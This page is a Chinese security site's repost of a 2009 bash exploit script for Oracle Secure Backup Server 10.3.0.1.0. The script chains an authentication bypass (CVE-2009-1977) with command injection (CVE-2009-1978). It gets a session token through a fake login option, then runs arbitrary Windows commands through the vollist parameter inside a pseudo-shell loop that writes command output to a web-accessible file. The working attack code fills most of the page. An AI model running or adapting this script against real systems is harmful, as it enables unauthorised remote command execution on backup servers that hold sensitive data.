首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit
来源:blog.nibblesec.org 作者:ikki 发布时间:2009-09-15  

#!/bin/bash

#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability
#1-day exploit for CVE-2009-1977 and CVE-2009-1978

#PoC script successfully tested on:
#Oracle Secure Backup Server 10.3.0.1.0_win32_release
#MS Windows Professional XP SP3

#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart
#authentication bypass and a trivial command injection, resulting in arbitrary command execution.

#References:
#http://www.zerodayinitiative.com/advisories/ZDI-09-058/
#http://www.zerodayinitiative.com/advisories/ZDI-09-059/

#Use it for ethical pentesting only! The author accepts no liability for damage caused by this tool.
#Luca "ikki" Carettoni (blog.nibblesec.org), 10th September 2009

clear
echo ":: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::"

if [[ $# -ne 1 ]]
then
 echo "usage: ./$(basename $0) <target IP>"
 echo "i.e.: ./$(basename $0) 192.168.0.100"
 exit
fi

if ! which curl >/dev/null
then
 echo "'curl' is required in order to handle HTTPS connections"
    exit
fi

TARGET=$1

#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
 echo "[!] Fatal error. No valid token has been retrieved"
 exit
fi

echo "[+] I got a valid token: $session"

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

if [[ -z $check ]]
then
 echo "[!] Fatal error. I cannot execute arbitrary commands"
 exit
fi

echo "[+] Enjoy your non-interactive shell! Use EXIT to clean up everything"
echo
echo \>$check

while(true); do
 echo -n \>
 read -r cmd
 
 if [ "$cmd" == "EXIT" ]
 then
  echo "[+] Removing the temporary file and closing"
  shell="1%26del%20osb103shelltmp"
  curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
  exit
 fi
 
 #URLencode function
 cmd=`echo -n "$cmd"|od -t x1 -A n|tr " " %`
 shell="1%26$cmd>osb103shelltmp"
 curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
 echo "[+] Last successful command execution:"
 curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session"
done
#end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox < 3.0.14 Multi
·Joomla Component AlphaUserPoin
·Siemens Gigaset SE361 WLAN Rem
·Invisible Browsing 5.0.52 (.ib
·IBM AIX 5.6/6.1 _LIB_INIT_DBG
·httpdx Web Server 1.4 (Host He
·Kolibri+ Webserver 2 (GET Requ
·Portable E.M Magic Morph 1.95b
·FreeRadius < 1.1.8 Remote Pack
·Techlogica HTTP Server 1.03 Ar
·Linux Kernel 2.4/2.6 sock_send
·MP3 Studio 1.0 (.m3u File) Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved